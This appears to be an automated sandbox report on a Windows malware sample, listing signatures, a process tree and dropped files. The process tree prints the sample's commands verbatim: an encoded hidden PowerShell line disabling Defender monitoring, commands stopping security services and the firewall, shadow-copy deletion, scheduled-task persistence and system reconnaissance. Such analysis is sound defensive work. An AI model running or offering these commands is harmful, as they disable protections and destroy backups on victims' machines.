Analysis

  • max time kernel
    131s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 02:25

General

  • Target
    orat.io.exe
  • Size 51KB
  • Sample260705-cwpyzact5r
  • SHA256 53a2799cf2f18caae6aa16114af05e8e9e00fbf8480a54668a6b70765c899272
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 6 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • EICAR Anti-Malware test file 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 54 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
    "C:\Users\Admin\AppData\Local\Temp\orat.io.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4632
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5272
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5972
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3576
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1608
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1524
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2544
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
        "C:\Users\Admin\AppData\Local\Temp\orat.io.exe"
        3⤵
          PID:1388
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2944
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\orat.io.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1932
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:2448
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3956
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:4496
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1996
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:3380
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1964
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3972
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2500
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2496
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5408
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2804
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:1372
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5520
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:5212
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4232
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:2436
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\orat.io.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2360
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:5684
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:4780
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4180
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4140
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:2416
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:3324
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:3068
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5612
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a09855 /state1:0x41c64e6d
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2144
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:1732
                • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                  C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                  1⤵
                    PID:5872
                  • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                    C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                    1⤵
                      PID:4324
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:4368
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:2492
                        • C:\Windows\explorer.exe
                          explorer.exe /LOADSAVEDWINDOWS
                          2⤵
                          • Boot or Logon Autostart Execution: Active Setup
                          • Enumerates connected drives
                          • Checks SCSI registry key(s)
                          • Modifies Internet Explorer settings
                          • Modifies registry class
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:4488
                          • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                            "C:\Users\Admin\AppData\Local\Temp\orat.io.exe"
                            3⤵
                              PID:3880
                            • C:\Users\Admin\AppData\Local\Temp\orat.io.exe
                              "C:\Users\Admin\AppData\Local\Temp\orat.io.exe"
                              3⤵
                                PID:4800
                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                            1⤵
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            PID:348
                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                            1⤵
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            PID:2072

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                doc_3.pdf

                                • Path C:\SystemVolumeInformation\doc_3.pdf
                                • Size 68KB
                                • SHA256 41da8d720ccc96501860ee03529afccec3f9ae8d105b04e585732427bc197ad6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                prep_Activatable Class_Hermes_perf.cache

                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                • Size 603B
                                • SHA256 b346273b0f3e13afaa9f07d97248343c45a667a5e097d1198a449a4de187aebb
                                • MD5 SHA1 SHA512 TLSH

                                prep_Activatable Class_Hermes_perf.cache

                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                • Size 599B
                                • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                • MD5 SHA1 SHA512 TLSH

                                createshortcut.vbs

                                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                • Size 232B
                                • SHA256 0d89c028c31b22da028a24920206249ef1b8e331e7e2a23c2e9559a98b85cae2
                                • MD5 SHA1 SHA512 TLSH

                                del.bat

                                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                • Size 59B
                                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                • MD5 SHA1 SHA512 TLSH

                                makelnk.vbs

                                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                • Size 233B
                                • SHA256 88bf554948c3203f40b8ff8a04065b3b8e02d4802b676f5d6b58b8d87e60a9db
                                • MD5 SHA1 SHA512 TLSH

                                ImportantDocument.lnk

                                • Path C:\Users\Admin\Desktop\ImportantDocument.lnk
                                • Size 1KB
                                • SHA256 9ff96996b0c0625fcdc6015d1340b69f85cb7c4b99daf4b86ce917e184614fc1
                                • MD5 SHA1 SHA512 TLSH

                                Important_Document.lnk

                                • Path C:\Users\Admin\Desktop\Important_Document.lnk
                                • Size 1KB
                                • SHA256 b8d61fed187cd91173e67b51c637ffd7ef6d4bc66b3c402929cc12737cb00202
                                • MD5 SHA1 SHA512 TLSH

                                eicar_extra.com

                                • Path C:\Users\Admin\Documents\eicar_extra.com
                                • Size 68B
                                • SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
                                • MD5 SHA1 SHA512 TLSH

                                memory/2072-2353-0x0000021C941E0000-0x0000021C94200000-memory.dmp

                                memory/2072-2339-0x0000021C81D60000-0x0000021C81D80000-memory.dmp

                                memory/2072-2332-0x0000021C819E0000-0x0000021C81A00000-memory.dmp

                                memory/2072-2333-0x0000021C81DE0000-0x0000021C81EE0000-memory.dmp

                                memory/2072-2308-0x0000021C801E0000-0x0000021C802E0000-memory.dmp

                                memory/2448-2257-0x0000023806F10000-0x0000023806F11000-memory.dmp

                                memory/2584-21-0x0000018FF1D10000-0x0000018FF1D32000-memory.dmp

                                memory/2584-761-0x0000018FF1FC0000-0x0000018FF1FDE000-memory.dmp

                                memory/2584-784-0x0000018FF1FE0000-0x0000018FF2092000-memory.dmp

                                memory/2584-1125-0x0000018FF21A0000-0x0000018FF21AA000-memory.dmp

                                memory/4488-2303-0x000000000D8E0000-0x000000000D973000-memory.dmp

                                memory/5664-13-0x000000001E890000-0x000000001EDB8000-memory.dmp

                                memory/5664-1-0x0000000000770000-0x0000000000784000-memory.dmp

                                memory/5664-15-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2263-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2267-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2268-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2269-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2270-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2271-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2272-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2273-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-16-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-14-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-12-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-11-0x000000001DDC0000-0x000000001DF82000-memory.dmp

                                memory/5664-10-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-7-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-4-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-3-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-2-0x00007FFEB4D50000-0x00007FFEB56F4000-memory.dmp

                                memory/5664-0-0x00007FFEB4EDF000-0x00007FFEB4EE0000-memory.dmp